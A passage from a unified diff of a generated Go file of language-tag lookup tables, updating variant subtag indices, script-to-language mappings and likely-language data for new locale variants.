0x8cfb, 0x8e70, 0x90fd, 0x92fe, 0x94ff, - 0x9700, 0x9901, 0x9b43, 0x9d44, 0x9f45, 0xa146, 0xa347, 0xa548, - 0xa749, 0xa94a, 0xab4b, 0xad4c, 0xaf4d, 0xb14e, 0xb34f, 0xb550, + 0xf11d, 0xf525, 0xf924, 0x0123, 0x0926, 0x112a, 0x192d, 0x2023, + 0x2929, 0x312c, 0x3728, 0x3920, 0x3d2e, 0x4132, 0x4931, 0x4ec3, + 0x551a, 0x646c, 0x747c, 0x7e80, 0x80a0, 0x8299, 0x8530, 0x9136, + 0xa53e, 0xac37, 0xb537, 0xb938, 0xbd3c, 0xd941, 0xe543, 0xed5f, + 0xef5f, 0xf658, 0xfd63, 0x7c20, 0x7ef5, 0x80f6, 0x82f7, 0x84f8, + 0x86f9, 0x88fa, 0x8afb, 0x8cfc, 0x8e71, 0x90fe, 0x92ff, 0x9500, + 0x9701, 0x9902, 0x9b44, 0x9d45, 0x9f46, 0xa147, 0xa348, 0xa549, + 0xa74a, 0xa94b, 0xab4c, 0xad4d, 0xaf4e, 0xb14f, 0xb350, 0xb551, // Entry 140 - 17F - 0xb751, 0xb952, 0xbb53, 0xbd54, 0xbf55, 0xc156, 0xc357, 0xc558, - 0xc759, 0xc95a, 0xcb5b, 0xcd5c, 0xcf65, + 0xb752, 0xb953, 0xbb54, 0xbd55, 0xbf56, 0xc157, 0xc358, 0xc559, + 0xc75a, 0xc95b, 0xcb5c, 0xcd5d, 0xcf66, } -// Size: 2014 bytes +// Size: 2128 bytes var variantIndex = map[string]uint8{ "1606nict": 0x0, "1694acad": 0x1, "1901": 0x2, "1959acad": 0x3, - "1994": 0x61, + "1994": 0x67, "1996": 0x4, "abl1943": 0x5, "akuapem": 0x6, - "alalc97": 0x63, + "alalc97": 0x69, "aluku": 0x7, "ao1990": 0x8, "aranes": 0x9, @@ -1299,94 +1315,100 @@ var variantIndex = map[string]uint8{ "barla": 0x11, "basiceng": 0x12, "bauddha": 0x13, - "biscayan": 0x14, - "biske": 0x5c, - "bohoric": 0x15, - "boont": 0x16, - "bornholm": 0x17, - "cisaup": 0x18, - "colb1945": 0x19, - "cornu": 0x1a, - "creiss": 0x1b, - "dajnko": 0x1c, - "ekavsk": 0x1d, - "emodeng": 0x1e, - "fonipa": 0x64, - "fonkirsh": 0x65, - "fonnapa": 0x66, - "fonupa": 0x67, - "fonxsamp": 0x68, - "gascon": 0x1f, - "grclass": 0x20, - "grital": 0x21, - "grmistr": 0x22, - "hepburn": 0x23, - "heploc": 0x62, - "hognorsk": 0x24, - "hsistemo": 0x25, - "ijekavsk": 0x26, - "itihasa": 0x27, - "ivanchov": 0x28, - "jauer": 0x29, - "jyutping": 0x2a, - "kkcor": 0x2b, - "kociewie": 0x2c, - "kscor": 0x2d, - "laukika": 0x2e, - "lemosin": 0x2f, - "lengadoc": 0x30, - "lipaw": 0x5d, - "luna1918": 0x31, - "metelko": 0x32, - "monoton": 0x33, - "ndyuka": 0x34, - "nedis": 0x35, - "newfound": 0x36, - "nicard": 0x37, - "njiva": 0x5e, - "nulik": 0x38, - "osojs": 0x5f, - "oxendict": 0x39, - "pahawh2": 0x3a, - "pahawh3": 0x3b, - "pahawh4": 0x3c, - "pamaka": 0x3d, - "peano": 0x3e, - "petr1708": 0x3f, - "pinyin": 0x40, - "polyton": 0x41, - "provenc": 0x42, - "puter": 0x43, - "rigik": 0x44, - "rozaj": 0x45, - "rumgr": 0x46, - "scotland": 0x47, - "scouse": 0x48, - "simple": 0x69, - "solba": 0x60, - "sotav": 0x49, - "spanglis": 0x4a, - "surmiran": 0x4b, - "sursilv": 0x4c, - "sutsilv": 0x4d, - "tarask": 0x4e, - "tongyong": 0x4f, - "tunumiit": 0x50, - "uccor": 0x51, - "ucrcor": 0x52, - "ulster": 0x53, - "unifon": 0x54, - "vaidika": 0x55, - "valencia": 0x56, - "vallader": 0x57, - "vecdruka": 0x58, - "vivaraup": 0x59, - "wadegile": 0x5a, - "xsistemo": 0x5b, + "bciav": 0x14, + "bcizbl": 0x15, + "biscayan": 0x16, + "biske": 0x62, + "bohoric": 0x17, + "boont": 0x18, + "bornholm": 0x19, + "cisaup": 0x1a, + "colb1945": 0x1b, + "cornu": 0x1c, + "creiss": 0x1d, + "dajnko": 0x1e, + "ekavsk": 0x1f, + "emodeng": 0x20, + "fonipa": 0x6a, + "fonkirsh": 0x6b, + "fonnapa": 0x6c, + "fonupa": 0x6d, + "fonxsamp": 0x6e, + "gallo": 0x21, + "gascon": 0x22, + "grclass": 0x23, + "grital": 0x24, + "grmistr": 0x25, + "hepburn": 0x26, + "heploc": 0x68, + "hognorsk": 0x27, + "hsistemo": 0x28, + "ijekavsk": 0x29, + "itihasa": 0x2a, + "ivanchov": 0x2b, + "jauer": 0x2c, + "jyutping": 0x2d, + "kkcor": 0x2e, + "kociewie": 0x2f, + "kscor": 0x30, + "laukika": 0x31, + "lemosin": 0x32, + "lengadoc": 0x33, + "lipaw": 0x63, + "ltg1929": 0x34, + "ltg2007": 0x35, + "luna1918": 0x36, + "metelko": 0x37, + "monoton": 0x38, + "ndyuka": 0x39, + "nedis": 0x3a, + "newfound": 0x3b, + "nicard": 0x3c, + "njiva": 0x64, + "nulik": 0x3d, + "osojs": 0x65, + "oxendict": 0x3e, + "pahawh2": 0x3f, + "pahawh3": 0x40, + "pahawh4": 0x41, + "pamaka": 0x42, + "peano": 0x43, + "petr1708": 0x44, + "pinyin": 0x45, + "polyton": 0x46, + "provenc": 0x47, + "puter": 0x48, + "rigik": 0x49, + "rozaj": 0x4a, + "rumgr": 0x4b, + "scotland": 0x4c, + "scouse": 0x4d, + "simple": 0x6f, + "solba": 0x66, + "sotav": 0x4e, + "spanglis": 0x4f, + "surmiran": 0x50, + "sursilv": 0x51, + "sutsilv": 0x52, + "synnejyl": 0x53, + "tarask": 0x54, + "tongyong": 0x55, + "tunumiit": 0x56, + "uccor": 0x57, + "ucrcor": 0x58, + "ulster": 0x59, + "unifon": 0x5a, + "vaidika": 0x5b, + "valencia": 0x5c, + "vallader": 0x5d, + "vecdruka": 0x5e, + "vivaraup": 0x5f, + "wadegile": 0x60, + "xsistemo": 0x61, } // variantNumSpecialized is the number of specialized variants in variants. -const variantNumSpecialized = 99 +const variantNumSpecialized = 105 // nRegionGroups is the number of region groups. const nRegionGroups = 33 @@ -1398,151 +1420,151 @@ type likelyLangRegion struct { // likelyScript is a lookup table, indexed by scriptID, for the most likely // languages and regions given a script. -// Size: 1040 bytes, 260 elements -var likelyScript = [260]likelyLangRegion{ - 1: {lang: 0x14e, region: 0x84}, - 3: {lang: 0x2a2, region: 0x106}, - 4: {lang: 0x1f, region: 0x99}, - 5: {lang: 0x3a, region: 0x6b}, - 7: {lang: 0x3b, region: 0x9c}, +// Size: 1052 bytes, 263 elements +var likelyScript = [263]likelyLangRegion{ + 1: {lang: 0x14e, region: 0x85}, + 3: {lang: 0x2a2, region: 0x107}, + 4: {lang: 0x1f, region: 0x9a}, + 5: {lang: 0x3a, region: 0x6c}, + 7: {lang: 0x3b, region: 0x9d}, 8: {lang: 0x1d7, region: 0x28}, - 9: {lang: 0x13, region: 0x9c}, - 10: {lang: 0x5b, region: 0x95}, + 9: {lang: 0x13, region: 0x9d}, + 10: {lang: 0x5b, region: 0x96}, 11: {lang: 0x60, region: 0x52}, - 12: {lang: 0xb9, region: 0xb4}, - 13: {lang: 0x63, region: 0x95}, + 12: {lang: 0xb9, region: 0xb5}, + 13: {lang: 0x63, region: 0x96}, 14: {lang: 0xa5, region: 0x35}, - 15: {lang: 0x3e9, region: 0x99}, - 17: {lang: 0x529, region: 0x12e}, - 18: {lang: 0x3b1, region: 0x99}, - 19: {lang: 0x15e, region: 0x78}, - 20: {lang: 0xc2, region: 0x95}, - 21: {lang: 0x9d, region: 0xe7}, + 15: {lang: 0x3e9, region: 0x9a}, + 17: {lang: 0x529, region: 0x12f}, + 18: {lang: 0x3b1, region: 0x9a}, + 19: {lang: 0x15e, region: 0x79}, + 20: {lang: 0xc2, region: 0x96}, + 21: {lang: 0x9d, region: 0xe8}, 22: {lang: 0xdb, region: 0x35}, 23: {lang: 0xf3, region: 0x49}, - 24: {lang: 0x4f0, region: 0x12b}, - 25: {lang: 0xe7, region: 0x13e}, - 26: {lang: 0xe5, region: 0x135}, - 29: {lang: 0xf1, region: 0x6b}, - 31: {lang: 0x1a0, region: 0x5d}, - 32: {lang: 0x3e2, region: 0x106}, - 34: {lang: 0x1be, region: 0x99}, - 38: {lang: 0x15e, region: 0x78}, - 41: {lang: 0x133, region: 0x6b}, + 24: {lang: 0x4f0, region: 0x12c}, + 25: {lang: 0xe7, region: 0x13f}, + 26: {lang: 0xe5, region: 0x136}, + 29: {lang: 0xf1, region: 0x6c}, + 31: {lang: 0x1a0, region: 0x5e}, + 32: {lang: 0x3e2, region: 0x107}, + 34: {lang: 0x1be, region: 0x9a}, + 38: {lang: 0x15e, region: 0x79}, + 41: {lang: 0x133, region: 0x6c}, 42: {lang: 0x431, region: 0x27}, - 44: {lang: 0x27, region: 0x6f}, - 46: {lang: 0x210, region: 0x7d}, + 44: {lang: 0x27, region: 0x70}, + 46: {lang: 0x210, region: 0x7e}, 47: {lang: 0xfe, region: 0x38}, - 49: {lang: 0x19b, region: 0x99}, - 50: {lang: 0x19e, region: 0x130}, - 51: {lang: 0x3e9, region: 0x99}, - 52: {lang: 0x136, region: 0x87}, - 53: {lang: 0x1a4, region: 0x99}, - 54: {lang: 0x39d, region: 0x99}, - 55: {lang: 0x529, region: 0x12e}, - 56: {lang: 0x254, region: 0xab}, + 49: {lang: 0x19b, region: 0x9a}, + 50: {lang: 0x19e, region: 0x131}, + 51: {lang: 0x3e9, region: 0x9a}, + 52: {lang: 0x136, region: 0x88}, + 53: {lang: 0x1a4, region: 0x9a}, + 54: {lang: 0x39d, region: 0x9a}, + 55: {lang: 0x529, region: 0x12f}, + 56: {lang: 0x254, region: 0xac}, 57: {lang: 0x529, region: 0x53}, - 58: {lang: 0x1cb, region: 0xe7}, + 58: {lang: 0x1cb, region: 0xe8}, 59: {lang: 0x529, region: 0x53}, - 60: {lang: 0x529, region: 0x12e}, - 61: {lang: 0x2fd, region: 0x9b}, - 62: {lang: 0x1bc, region: 0x97}, - 63: {lang: 0x200, region: 0xa2}, - 64: {lang: 0x1c5, region: 0x12b}, - 65: {lang: 0x1ca, region: 0xaf}, - 68: {lang: 0x1d5, region: 0x92}, - 70: {lang: 0x142, region: 0x9e}, - 71: {lang: 0x254, region: 0xab}, - 72: {lang: 0x20e, region: 0x95}, - 73: {lang: 0x200, region: 0xa2}, - 75: {lang: 0x135, region: 0xc4}, - 76: {lang: 0x200, region: 0xa2}, - 77: {lang: 0x3bb, region: 0xe8}, - 78: {lang: 0x24a, region: 0xa6}, - 79: {lang: 0x3fa, region: 0x99}, - 82: {lang: 0x251, region: 0x99}, - 83: {lang: 0x254, region: 0xab}, - 85: {lang: 0x88, region: 0x99}, - 86: {lang: 0x370, region: 0x123}, - 87: {lang: 0x2b8, region: 0xaf}, - 92: {lang: 0x29f, region: 0x99}, - 93: {lang: 0x2a8, region: 0x99}, - 94: {lang: 0x28f, region: 0x87}, - 95: {lang: 0x1a0, region: 0x87}, - 96: {lang: 0x2ac, region: 0x53}, - 98: {lang: 0x4f4, region: 0x12b}, - 99: {lang: 0x4f5, region: 0x12b}, - 100: {lang: 0x1be, region: 0x99}, - 102: {lang: 0x337, region: 0x9c}, - 103: {lang: 0x4f7, region: 0x53}, - 104: {lang: 0xa9, region: 0x53}, - 107: {lang: 0x2e8, region: 0x112}, - 108: {lang: 0x4f8, region: 0x10b}, - 109: {lang: 0x4f8, region: 0x10b}, - 110: {lang: 0x304, region: 0x99}, - 111: {lang: 0x31b, region: 0x99}, - 112: {lang: 0x30b, region: 0x53}, - 114: {lang: 0x31e, region: 0x35}, - 115: {lang: 0x30e, region: 0x99}, - 116: {lang: 0x414, region: 0xe8}, - 117: {lang: 0x331, region: 0xc4}, - 119: {lang: 0x4f9, region: 0x108}, - 120: {lang: 0x3b, region: 0xa1}, - 121: {lang: 0x353, region: 0xdb}, - 124: {lang: 0x2d0, region: 0x84}, - 125: {lang: 0x52a, region: 0x53}, - 126: {lang: 0x403, region: 0x96}, - 127: {lang: 0x3ee, region: 0x99}, - 128: {lang: 0x39b, region: 0xc5}, - 129: {lang: 0x395, region: 0x99}, - 130: {lang: 0x399, region: 0x135}, - 131: {lang: 0x429, region: 0x115}, - 133: {lang: 0x3b, region: 0x11c}, - 134: {lang: 0xfd, region: 0xc4}, - 137: {lang: 0x27d, region: 0x106}, - 138: {lang: 0x2c9, region: 0x53}, - 139: {lang: 0x39f, region: 0x9c}, - 140: {lang: 0x39f, region: 0x53}, - 142: {lang: 0x3ad, region: 0xb0}, - 144: {lang: 0x1c6, region: 0x53}, - 145: {lang: 0x4fd, region: 0x9c}, - 198: {lang: 0x3cb, region: 0x95}, - 201: {lang: 0x372, region: 0x10c}, - 202: {lang: 0x420, region: 0x97}, - 204: {lang: 0x4ff, region: 0x15e}, - 205: {lang: 0x3f0, region: 0x99}, - 206: {lang: 0x45, region: 0x135}, - 207: {lang: 0x139, region: 0x7b}, - 208: {lang: 0x3e9, region: 0x99}, - 210: {lang: 0x3e9, region: 0x99}, - 211: {lang: 0x3fa, region: 0x99}, - 212: {lang: 0x40c, region: 0xb3}, - 215: {lang: 0x433, region: 0x99}, - 216: {lang: 0xef, region: 0xc5}, - 217: {lang: 0x43e, region: 0x95}, - 218: {lang: 0x44d, region: 0x35}, - 219: {lang: 0x44e, region: 0x9b}, - 223: {lang: 0x45a, region: 0xe7}, - 224: {lang: 0x11a, region: 0x99}, - 225: {lang: 0x45e, region: 0x53}, - 226: {lang: 0x232, region: 0x53}, - 227: {lang: 0x450, region: 0x99}, - 228: {lang: 0x4a5, region: 0x53}, - 229: {lang: 0x9f, region: 0x13e}, - 230: {lang: 0x461, region: 0x99}, - 232: {lang: 0x528, region: 0xba}, - 233: {lang: 0x153, region: 0xe7}, - 234: {lang: 0x128, region: 0xcd}, - 235: {lang: 0x46b, region: 0x123}, - 236: {lang: 0xa9, region: 0x53}, - 237: {lang: 0x2ce, region: 0x99}, - 240: {lang: 0x4ad, region: 0x11c}, - 241: {lang: 0x4be, region: 0xb4}, - 244: {lang: 0x1ce, region: 0x99}, - 247: {lang: 0x3a9, region: 0x9c}, - 248: {lang: 0x22, region: 0x9b}, - 250: {lang: 0x1ea, region: 0x53}, - 251: {lang: 0xef, region: 0xc5}, + 60: {lang: 0x529, region: 0x12f}, + 61: {lang: 0x2fd, region: 0x9c}, + 62: {lang: 0x1bc, region: 0x98}, + 63: {lang: 0x200, region: 0xa3}, + 64: {lang: 0x1c5, region: 0x12c}, + 65: {lang: 0x1ca, region: 0xb0}, + 68: {lang: 0x1d5, region: 0x93}, + 70: {lang: 0x142, region: 0x9f}, + 71: {lang: 0x254, region: 0xac}, + 72: {lang: 0x20e, region: 0x96}, + 73: {lang: 0x200, region: 0xa3}, + 75: {lang: 0x135, region: 0xc5}, + 76: {lang: 0x200, region: 0xa3}, + 78: {lang: 0x3bb, region: 0xe9}, + 79: {lang: 0x24a, region: 0xa7}, + 80: {lang: 0x3fa, region: 0x9a}, + 83: {lang: 0x251, region: 0x9a}, + 84: {lang: 0x254, region: 0xac}, + 86: {lang: 0x88, region: 0x9a}, + 87: {lang: 0x370, region: 0x124}, + 88: {lang: 0x2b8, region: 0xb0}, + 93: {lang: 0x29f, region: 0x9a}, + 94: {lang: 0x2a8, region: 0x9a}, + 95: {lang: 0x28f, region: 0x88}, + 96: {lang: 0x1a0, region: 0x88}, + 97: {lang: 0x2ac, region: 0x53}, + 99: {lang: 0x4f4, region: 0x12c}, + 100: {lang: 0x4f5, region: 0x12c}, + 101: {lang: 0x1be, region: 0x9a}, + 103: {lang: 0x337, region: 0x9d}, + 104: {lang: 0x4f7, region: 0x53}, + 105: {lang: 0xa9, region: 0x53}, + 108: {lang: 0x2e8, region: 0x113}, + 109: {lang: 0x4f8, region: 0x10c}, + 110: {lang: 0x4f8, region: 0x10c}, + 111: {lang: 0x304, region: 0x9a}, + 112: {lang: 0x31b, region: 0x9a}, + 113: {lang: 0x30b, region: 0x53}, + 115: {lang: 0x31e, region: 0x35}, + 116: {lang: 0x30e, region: 0x9a}, + 117: {lang: 0x414, region: 0xe9}, + 118: {lang: 0x331, region: 0xc5}, + 121: {lang: 0x4f9, region: 0x109}, + 122: {lang: 0x3b, region: 0xa2}, + 123: {lang: 0x353, region: 0xdc}, + 126: {lang: 0x2d0, region: 0x85}, + 127: {lang: 0x52a, region: 0x53}, + 128: {lang: 0x403, region: 0x97}, + 129: {lang: 0x3ee, region: 0x9a}, + 130: {lang: 0x39b, region: 0xc6}, + 131: {lang: 0x395, region: 0x9a}, + 132: {lang: 0x399, region: 0x136}, + 133: {lang: 0x429, region: 0x116}, + 135: {lang: 0x3b, region: 0x11d}, + 136: {lang: 0xfd, region: 0xc5}, + 139: {lang: 0x27d, region: 0x107}, + 140: {lang: 0x2c9, region: 0x53}, + 141: {lang: 0x39f, region: 0x9d}, + 142: {lang: 0x39f, region: 0x53}, + 144: {lang: 0x3ad, region: 0xb1}, + 146: {lang: 0x1c6, region: 0x53}, + 147: {lang: 0x4fd, region: 0x9d}, + 200: {lang: 0x3cb, region: 0x96}, + 203: {lang: 0x372, region: 0x10d}, + 204: {lang: 0x420, region: 0x98}, + 206: {lang: 0x4ff, region: 0x15f}, + 207: {lang: 0x3f0, region: 0x9a}, + 208: {lang: 0x45, region: 0x136}, + 209: {lang: 0x139, region: 0x7c}, + 210: {lang: 0x3e9, region: 0x9a}, + 212: {lang: 0x3e9, region: 0x9a}, + 213: {lang: 0x3fa, region: 0x9a}, + 214: {lang: 0x40c, region: 0xb4}, + 217: {lang: 0x433, region: 0x9a}, + 218: {lang: 0xef, region: 0xc6}, + 219: {lang: 0x43e, region: 0x96}, + 221: {lang: 0x44d, region: 0x35}, + 222: {lang: 0x44e, region: 0x9c}, + 226: {lang: 0x45a, region: 0xe8}, + 227: {lang: 0x11a, region: 0x9a}, + 228: {lang: 0x45e, region: 0x53}, + 229: {lang: 0x232, region: 0x53}, + 230: {lang: 0x450, region: 0x9a}, + 231: {lang: 0x4a5, region: 0x53}, + 232: {lang: 0x9f, region: 0x13f}, + 233: {lang: 0x461, region: 0x9a}, + 235: {lang: 0x528, region: 0xbb}, + 236: {lang: 0x153, region: 0xe8}, + 237: {lang: 0x128, region: 0xce}, + 238: {lang: 0x46b, region: 0x124}, + 239: {lang: 0xa9, region: 0x53}, + 240: {lang: 0x2ce, region: 0x9a}, + 243: {lang: 0x4ad, region: 0x11d}, + 244: {lang: 0x4be, region: 0xb5}, + 247: {lang: 0x1ce, region: 0x9a}, + 250: {lang: 0x3a9, region: 0x9d}, + 251: {lang: 0x22, region: 0x9c}, + 253: {lang: 0x1ea, region: 0x53}, + 254: {lang: 0xef, region: 0xc6}, } type likelyScriptRegion struct { @@ -1557,1423 +1579,1423 @@ type likelyScriptRegion struct { // of the list in likelyLangList. // Size: 7980 bytes, 1330 elements var likelyLang = [1330]likelyScriptRegion{ - 0: {region: 0x135, script: 0x5a, flags: 0x0}, - 1: {region: 0x6f, script: 0x5a, flags: 0x0}, - 2: {region: 0x165, script: 0x5a, flags: 0x0}, - 3: {region: 0x165, script: 0x5a, flags: 0x0}, - 4: {region: 0x165, script: 0x5a, flags: 0x0}, - 5: {region: 0x7d, script: 0x20, flags: 0x0}, - 6: {region: 0x165, script: 0x5a, flags: 0x0}, - 7: {region: 0x165, script: 0x20, flags: 0x0}, - 8: {region: 0x80, script: 0x5a, flags: 0x0}, - 9: {region: 0x165, script: 0x5a, flags: 0x0}, - 10: {region: 0x165, script: 0x5a, flags: 0x0}, - 11: {region: 0x165, script: 0x5a, flags: 0x0}, - 12: {region: 0x95, script: 0x5a, flags: 0x0}, - 13: {region: 0x131, script: 0x5a, flags: 0x0}, - 14: {region: 0x80, script: 0x5a, flags: 0x0}, - 15: {region: 0x165, script: 0x5a, flags: 0x0}, - 16: {region: 0x165, script: 0x5a, flags: 0x0}, - 17: {region: 0x106, script: 0x20, flags: 0x0}, - 18: {region: 0x165, script: 0x5a, flags: 0x0}, - 19: {region: 0x9c, script: 0x9, flags: 0x0}, - 20: {region: 0x128, script: 0x5, flags: 0x0}, - 21: {region: 0x165, script: 0x5a, flags: 0x0}, - 22: {region: 0x161, script: 0x5a, flags: 0x0}, - 23: {region: 0x165, script: 0x5a, flags: 0x0}, - 24: {region: 0x165, script: 0x5a, flags: 0x0}, - 25: {region: 0x165, script: 0x5a, flags: 0x0}, - 26: {region: 0x165, script: 0x5a, flags: 0x0}, - 27: {region: 0x165, script: 0x5a, flags: 0x0}, - 28: {region: 0x52, script: 0x5a, flags: 0x0}, - 29: {region: 0x165, script: 0x5a, flags: 0x0}, - 30: {region: 0x165, script: 0x5a, flags: 0x0}, - 31: {region: 0x99, script: 0x4, flags: 0x0}, - 32: {region: 0x165, script: 0x5a, flags: 0x0}, - 33: {region: 0x80, script: 0x5a, flags: 0x0}, - 34: {region: 0x9b, script: 0xf8, flags: 0x0}, - 35: {region: 0x165, script: 0x5a, flags: 0x0}, - 36: {region: 0x165, script: 0x5a, flags: 0x0}, - 37: {region: 0x14d, script: 0x5a, flags: 0x0}, - 38: {region: 0x106, script: 0x20, flags: 0x0}, - 39: {region: 0x6f, script: 0x2c, flags: 0x0}, - 40: {region: 0x165, script: 0x5a, flags: 0x0}, - 41: {region: 0x165, script: 0x5a, flags: 0x0}, - 42: {region: 0xd6, script: 0x5a, flags: 0x0}, - 43: {region: 0x165, script: 0x5a, flags: 0x0}, - 45: {region: 0x165, script: 0x5a, flags: 0x0}, - 46: {region: 0x165, script: 0x5a, flags: 0x0}, - 47: {region: 0x165, script: 0x5a, flags: 0x0}, - 48: {region: 0x165, script: 0x5a, flags: 0x0}, - 49: {region: 0x165, script: 0x5a, flags: 0x0}, - 50: {region: 0x165, script: 0x5a, flags: 0x0}, - 51: {region: 0x95, script: 0x5a, flags: 0x0}, - 52: {region: 0x165, script: 0x5, flags: 0x0}, - 53: {region: 0x122, script: 0x5, flags: 0x0}, - 54: {region: 0x165, script: 0x5a, flags: 0x0}, - 55: {region: 0x165, script: 0x5a, flags: 0x0}, - 56: {region: 0x165, script: 0x5a, flags: 0x0}, - 57: {region: 0x165, script: 0x5a, flags: 0x0}, - 58: {region: 0x6b, script: 0x5, flags: 0x0}, + 0: {region: 0x136, script: 0x5b, flags: 0x0}, + 1: {region: 0x70, script: 0x5b, flags: 0x0}, + 2: {region: 0x166, script: 0x5b, flags: 0x0}, + 3: {region: 0x166, script: 0x5b, flags: 0x0}, + 4: {region: 0x166, script: 0x5b, flags: 0x0}, + 5: {region: 0x7e, script: 0x20, flags: 0x0}, + 6: {region: 0x166, script: 0x5b, flags: 0x0}, + 7: {region: 0x166, script: 0x20, flags: 0x0}, + 8: {region: 0x81, script: 0x5b, flags: 0x0}, + 9: {region: 0x166, script: 0x5b, flags: 0x0}, + 10: {region: 0x166, script: 0x5b, flags: 0x0}, + 11: {region: 0x166, script: 0x5b, flags: 0x0}, + 12: {region: 0x96, script: 0x5b, flags: 0x0}, + 13: {region: 0x132, script: 0x5b, flags: 0x0}, + 14: {region: 0x81, script: 0x5b, flags: 0x0}, + 15: {region: 0x166, script: 0x5b, flags: 0x0}, + 16: {region: 0x166, script: 0x5b, flags: 0x0}, + 17: {region: 0x107, script: 0x20, flags: 0x0}, + 18: {region: 0x166, script: 0x5b, flags: 0x0}, + 19: {region: 0x9d, script: 0x9, flags: 0x0}, + 20: {region: 0x129, script: 0x5, flags: 0x0}, + 21: {region: 0x166, script: 0x5b, flags: 0x0}, + 22: {region: 0x162, script: 0x5b, flags: 0x0}, + 23: {region: 0x166, script: 0x5b, flags: 0x0}, + 24: {region: 0x166, script: 0x5b, flags: 0x0}, + 25: {region: 0x166, script: 0x5b, flags: 0x0}, + 26: {region: 0x166, script: 0x5b, flags: 0x0}, + 27: {region: 0x166, script: 0x5b, flags: 0x0}, + 28: {region: 0x52, script: 0x5b, flags: 0x0}, + 29: {region: 0x166, script: 0x5b, flags: 0x0}, + 30: {region: 0x166, script: 0x5b, flags: 0x0}, + 31: {region: 0x9a, script: 0x4, flags: 0x0}, + 32: {region: 0x166, script: 0x5b, flags: 0x0}, + 33: {region: 0x81, script: 0x5b, flags: 0x0}, + 34: {region: 0x9c, script: 0xfb, flags: 0x0}, + 35: {region: 0x166, script: 0x5b, flags: 0x0}, + 36: {region: 0x166, script: 0x5b, flags: 0x0}, + 37: {region: 0x14e, script: 0x5b, flags: 0x0}, + 38: {region: 0x107, script: 0x20, flags: 0x0}, + 39: {region: 0x70, script: 0x2c, flags: 0x0}, + 40: {region: 0x166, script: 0x5b, flags: 0x0}, + 41: {region: 0x166, script: 0x5b, flags: 0x0}, + 42: {region: 0xd7, script: 0x5b, flags: 0x0}, + 43: {region: 0x166, script: 0x5b, flags: 0x0}, + 45: {region: 0x166, script: 0x5b, flags: 0x0}, + 46: {region: 0x166, script: 0x5b, flags: 0x0}, + 47: {region: 0x166, script: 0x5b, flags: 0x0}, + 48: {region: 0x166, script: 0x5b, flags: 0x0}, + 49: {region: 0x166, script: 0x5b, flags: 0x0}, + 50: {region: 0x166, script: 0x5b, flags: 0x0}, + 51: {region: 0x96, script: 0x5b, flags: 0x0}, + 52: {region: 0x166, script: 0x5, flags: 0x0}, + 53: {region: 0x123, script: 0x5, flags: 0x0}, + 54: {region: 0x166, script: 0x5b, flags: 0x0}, + 55: {region: 0x166, script: 0x5b, flags: 0x0}, + 56: {region: 0x166, script: 0x5b, flags: 0x0}, + 57: {region: 0x166, script: 0x5b, flags: 0x0}, + 58: {region: 0x6c, script: 0x5, flags: 0x0}, 59: {region: 0x0, script: 0x3, flags: 0x1}, - 60: {region: 0x165, script: 0x5a, flags: 0x0}, - 61: {region: 0x51, script: 0x5a, flags: 0x0}, - 62: {region: 0x3f, script: 0x5a, flags: 0x0}, - 63: {region: 0x67, script: 0x5, flags: 0x0}, - 65: {region: 0xba, script: 0x5, flags: 0x0}, - 66: {region: 0x6b, script: 0x5, flags: 0x0}, - 67: {region: 0x99, script: 0xe, flags: 0x0}, - 68: {region: 0x12f, script: 0x5a, flags: 0x0}, - 69: {region: 0x135, script: 0xce, flags: 0x0}, - 70: {region: 0x165, script: 0x5a, flags: 0x0}, - 71: {region: 0x165, script: 0x5a, flags: 0x0}, - 72: {region: 0x6e, script: 0x5a, flags: 0x0}, - 73: {region: 0x165, script: 0x5a, flags: 0x0}, - 74: {region: 0x165, script: 0x5a, flags: 0x0}, - 75: {region: 0x49, script: 0x5a, flags: 0x0}, - 76: {region: 0x165, script: 0x5a, flags: 0x0}, - 77: {region: 0x106, script: 0x20, flags: 0x0}, - 78: {region: 0x165, script: 0x5, flags: 0x0}, - 79: {region: 0x165, script: 0x5a, flags: 0x0}, - 80: {region: 0x165, script: 0x5a, flags: 0x0}, - 81: {region: 0x165, script: 0x5a, flags: 0x0}, - 82: {region: 0x99, script: 0x22, flags: 0x0}, - 83: {region: 0x165, script: 0x5a, flags: 0x0}, - 84: {region: 0x165, script: 0x5a, flags: 0x0}, - 85: {region: 0x165, script: 0x5a, flags: 0x0}, - 86: {region: 0x3f, script: 0x5a, flags: 0x0}, - 87: {region: 0x165, script: 0x5a, flags: 0x0}, + 60: {region: 0x166, script: 0x5b, flags: 0x0}, + 61: {region: 0x51, script: 0x5b, flags: 0x0}, + 62: {region: 0x3f, script: 0x5b, flags: 0x0}, + 63: {region: 0x68, script: 0x5, flags: 0x0}, + 65: {region: 0xbb, script: 0x5, flags: 0x0}, + 66: {region: 0x6c, script: 0x5, flags: 0x0}, + 67: {region: 0x9a, script: 0xe, flags: 0x0}, + 68: {region: 0x130, script: 0x5b, flags: 0x0}, + 69: {region: 0x136, script: 0xd0, flags: 0x0}, + 70: {region: 0x166, script: 0x5b, flags: 0x0}, + 71: {region: 0x166, script: 0x5b, flags: 0x0}, + 72: {region: 0x6f, script: 0x5b, flags: 0x0}, + 73: {region: 0x166, script: 0x5b, flags: 0x0}, + 74: {region: 0x166, script: 0x5b, flags: 0x0}, + 75: {region: 0x49, script: 0x5b, flags: 0x0}, + 76: {region: 0x166, script: 0x5b, flags: 0x0}, + 77: {region: 0x107, script: 0x20, flags: 0x0}, + 78: {region: 0x166, script: 0x5, flags: 0x0}, + 79: {region: 0x166, script: 0x5b, flags: 0x0}, + 80: {region: 0x166, script: 0x5b, flags: 0x0}, + 81: {region: 0x166, script: 0x5b, flags: 0x0}, + 82: {region: 0x9a, script: 0x22, flags: 0x0}, + 83: {region: 0x166, script: 0x5b, flags: 0x0}, + 84: {region: 0x166, script: 0x5b, flags: 0x0}, + 85: {region: 0x166, script: 0x5b, flags: 0x0}, + 86: {region: 0x3f, script: 0x5b, flags: 0x0}, + 87: {region: 0x166, script: 0x5b, flags: 0x0}, 88: {region: 0x3, script: 0x5, flags: 0x1}, - 89: {region: 0x106, script: 0x20, flags: 0x0}, - 90: {region: 0xe8, script: 0x5, flags: 0x0}, - 91: {region: 0x95, script: 0x5a, flags: 0x0}, - 92: {region: 0xdb, script: 0x22, flags: 0x0}, - 93: {region: 0x2e, script: 0x5a, flags: 0x0}, - 94: {region: 0x52, script: 0x5a, flags: 0x0}, - 95: {region: 0x165, script: 0x5a, flags: 0x0}, + 89: {region: 0x107, script: 0x20, flags: 0x0}, + 90: {region: 0xe9, script: 0x5, flags: 0x0}, + 91: {region: 0x96, script: 0x5b, flags: 0x0}, + 92: {region: 0xdc, script: 0x22, flags: 0x0}, + 93: {region: 0x2e, script: 